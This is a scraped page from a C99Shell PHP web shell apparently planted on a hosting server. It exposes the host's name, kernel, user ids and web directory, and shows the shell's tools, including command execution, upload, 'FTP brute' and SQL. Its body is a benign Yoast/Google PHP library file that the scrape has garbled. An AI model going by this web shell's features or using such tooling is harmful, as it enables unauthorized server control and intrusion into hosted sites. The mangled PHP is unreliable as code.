!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordpress-seo/vendor/yoast/api-libs/google/service/   drwxr-xr-x
Free 181.91 GB of 490.84 GB (37.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Google_Model.php (3.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * Copyright 2011 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/**
 * This class defines attributes, valid values, and usage which is generated from
 * a given json schema. http://tools.ietf.org/html/draft-zyp-json-schema-03#section-5
 *
 * @author Chirag Shah <chirags@google.com>
 *
 */
class Yoast_Google_Model {
  public function 
__construct/* polymorphic */ ) {
    if (
func_num_args() ==  && is_array(func_get_arg(0))) {
      
// Initialize the model with the array's contents.
      
$array func_get_arg(0);
      
$this->mapTypes($array);
    }
  }

  
/**
   * Initialize this object's properties from an array.
   *
   * @param array $array Used to seed this object's properties.
   * @return void
   */
  
protected function mapTypes($array) {
    foreach (
$array as $key => $val) {
      
$this->$key $val;

      
$keyTypeName "__$key'Type';
      
$keyDataType "__$key'DataType';
      if (
$this->useObjects() && property_exists($this$keyTypeName)) {
        if (
$this->isAssociativeArray($val)) {
          if (isset(
$this->$keyDataType) && 'map' == $this->$keyDataType) {
            foreach(
$val as $arrayKey => $arrayItem) {
              
$val[$arrayKey] = $this->createObjectFromName($keyTypeName$arrayItem);
            }
            
$this->$key $val;
          } else {
            
$this->$key $this->createObjectFromName($keyTypeName$val);
          }
        } else if (
is_array($val)) {
          
$arrayObject = array();
          foreach (
$val as $arrayIndex => $arrayItem) {
            
$arrayObject[$arrayIndex] = $this->createObjectFromName($keyTypeName$arrayItem);
          }
          
$this->$key $arrayObject;
        }
      }
    }
  }

  
/**
   * Returns true only if the array is associative.
   * @param array $array
   * @return bool True if the array is associative.
   */
  
protected function isAssociativeArray($array) {
    if (!
is_array($array)) {
      return 
false;
    }
    
$keys array_keys($array);
    foreach(
$keys as $key) {
      if (
is_string($key)) {
        return 
true;
      }
    }
    return 
false;
  }

  
/**
   * Given a variable name, discover its type.
   *
   * @param $name
   * @param $item
   * @return object The object from the item.
   */
  
private function createObjectFromName($name$item) {
    
$type $this->$name;
    return new 
$type($item);
  }

  protected function 
useObjects() {
    global 
$apiConfig;
    return (isset(
$apiConfig['use_objects']) && $apiConfig['use_objects']);
  }

  
/**
   * Verify if $obj is an array.
   * @throws Yoast_Google_Exception Thrown if $obj isn't an array.
   * @param array $obj Items that should be validated.
   * @param string $type Array items should be of this type.
   * @param string $method Method expecting an array as an argument.
   */
  
public function assertIsArray($obj$type$method) {
    if (
$obj && !is_array($obj)) {
      throw new 
Yoast_Google_Exception("Incorrect parameter type passed to $method(), expected an"
          
" array containing items of type $type.");
    }
  }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0078 ]--